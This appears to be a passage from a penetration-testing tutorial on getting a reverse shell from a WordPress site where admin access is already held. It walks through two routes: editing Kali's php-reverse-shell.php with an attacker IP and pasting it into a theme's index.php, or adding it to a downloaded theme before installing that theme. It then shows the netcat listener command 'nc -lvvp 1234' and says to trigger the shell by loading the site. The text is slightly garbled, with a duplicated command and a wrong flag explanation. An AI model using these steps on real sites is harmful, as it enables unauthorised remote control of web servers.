Lets take a look
!!Note : We already have access of WordPress admin console.
In the given directory has various types of php reverse shell so you can choose as per your need. In our case we will choose php reverse shell.
nano /usr/share/webshells/php/php-reverse-shell.php1nano/usr/share/webshells/php/php-reverse-shell.php
Now change your IP address as shown given below.
You can paste it on various file such as 404.php, index.php etc. But in our case we will paste it on main index.php file.
We need to start the netcat listener to control the web server.
Usage : nc (lhost/verbose) (any port)
- l = Localhost
- v = Verbose
- nc -lvvp 1234
After update the file execute the following URL on your favorite browser.
Usage : http:// Remote Host IP /WordPress

When you execute the url on browser the session will comes to you.

Go on official wordpress website and download any theme.
Extract it and paste the php reverse shell code on index.php file.
Now install the theme on wordpress and activate it.
